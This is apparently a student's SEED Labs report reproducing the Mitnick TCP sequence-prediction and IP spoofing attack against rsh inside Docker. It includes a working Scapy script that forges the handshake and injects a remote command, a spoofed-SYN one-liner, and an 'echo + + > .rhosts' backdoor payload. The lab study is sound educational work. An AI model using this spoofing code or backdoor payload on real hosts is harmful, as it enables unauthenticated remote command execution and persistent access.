MITNICK TCP SPOOFING & SEQUENCE PREDICTION ATTACK REPORT
1. Objective
The purpose of this lab was to reproduce and study the classical Mitnick TCP/IP Spoofing and Sequence Prediction Attack in a controlled Docker-based SEED Labs environment. The main goal was to understand
how insecure trust relationships (like
.rhosts
used by the
rsh
service) can be exploited via TCP sequence prediction to gain unauthorized access.
2. Experiment Setup
2.1 Environment
The experiment used three Docker containers on a single bridged network:
Container Role Name IP Function
Attacker seed-attacker [Link] Runs spoofing script
Victim (X-Terminal) x-terminal-[Link] [Link] Receives spoofed packets
Trusted Host trusted-server-[Link] [Link] Genuine trusted host
2.2 Files and Directories
Labsetup/
├── [Link]
├── image_ubuntu_mitnick/
│ └── Dockerfile
└── volumes/
└── spoof_mitnick.py
2.3 Dockerfile
FROM handsonsecurity/seed-ubuntu:large
RUN apt-get update && \
apt-get -y install rsh-redone-client rsh-redone-server && \
rm -rf /var/lib/apt/lists/*
3. Building the Environment
docker-compose up -d
docker ps
The environment showed all three running containers.
4. Establishing Trust Relationship
su seed
echo [Link] > ~/.rhosts
chmod 644 ~/.rhosts
This allowed connections from
[Link]
(trusted server) to the victim without any password. It was verified by running
rsh [Link] date
from the trusted server.
5. Attack Scenario
To simulate Mitnick’s condition where the trusted server was offline, I stopped the trusted container:
docker stop trusted-server-[Link]
6. Implementation of Spoofing
A custom Scapy-based Python script (
spoof_mitnick.py
) was used to capture SYN+ACK responses, complete the forged handshake, and inject a payload that created a file
/tmp/xyz
on the victim.
#!/usr/bin/python3
from [Link] import *
x_ip = "[Link]"
srv_ip = "[Link]"
srv_port = 1023
x_port = 514
seq_num = 0x1000 + 1
error_port = 9090
def spoof(pkt):
if [Link](TCP) and pkt[TCP].flags == "SA":
ip_resp = pkt[IP]
tcp_resp = pkt[TCP]
ack_num = tcp_resp.seq + 1
# handshake completion
ip = IP(src=srv_ip, dst=x_ip)
tcp = TCP(sport=srv_port, dport=x_port, flags="A", seq=seq_num, ack=ack_num)
send(ip/tcp, verbose=False)
print("[+] Spoofed ACK sent")
# data command
data = b"9090\x00seed\x00seed\x00touch /tmp/xyz\x00"
pkt2 = IP(src=srv_ip, dst=x_ip)/TCP(sport=srv_port,
dport=x_port, flags="PA", seq=seq_num, ack=ack_num)/data
send(pkt2, verbose=False)
print("[+] rsh data payload sent")
# simulate stderr connection
ip2 = IP(src=srv_ip, dst=x_ip)
tcp2 = TCP(sport=error_port, dport=9090, flags="SA", seq=1000, ack=0)
send(ip2/tcp2, verbose=False)
print("[+] Spoofed rsh stderr connection sent")
myFilter = "tcp and src host [Link] and tcp port 514"
sniff(iface="eth0", filter=myFilter, prn=spoof)
7. Executing the Attack
The spoof script was started on the attacker machine:
su
cd /volumes
python3 spoof_mitnick.py
Then a spoofed SYN was sent in a separate terminal:
from [Link] import *
send(IP(src="[Link]",dst="[Link]")/TCP(sport=1023,dport=514,flags="S",seq=0x1000),verbose=False)
print("[+] Spoofed SYN sent")
8. Output Observation
The script printed:
[Link]:514 -> [Link]:1023 Flags=SA Len=0
[+] Spoofed ACK sent
[+] rsh data payload sent
[+] Spoofed rsh stderr connection sent
9. Result Verification
On the victim (X‑Terminal):
ls -l /tmp/xyz
The file
/tmp/xyz
existed, confirming the spoofed command executed successfully.
10. Analysis
The attack originally failed because the
rsh
service expected a second connection for stderr (port 9090). Without spoofing that, the server aborted the session. After adding this part, the command executed correctly.
11. Lessons Learned
rsh utilizes dual TCP channels, and neglecting one causes failure.
Host-based trust (
.rhosts
) is inherently insecure.
TCP sequence predictability can be exploited for unauthorized access.
Modern systems use random sequence numbers and SSH for protection.
12. Conclusion
I successfully reconstructed the Mitnick TCP/IP spoofing attack using Scapy within SEED Labs Docker setup. By exploiting a trust relationship and crafting spoofed packets, I remotely executed
touch /tmp/xyz
on the victim without any authentication. This validated the theoretical foundations of the Mitnick attack.
13. Extensions
A modified payload was also tested to create a persistent backdoor:
echo + + > /home/seed/.rhosts
14. Cleanup
docker-compose down
15. Summary of Key Outputs
Action Expected Output
Start Containers All three containers up
Run Spoof Script ACK, Payload, and Stderr Spoof Messages
Check Victim /tmp/xyz created
Cleanup Containers stopped and removed
Author: Masab | Environment: Ubuntu + SEED Labs Docker | Date: November 2025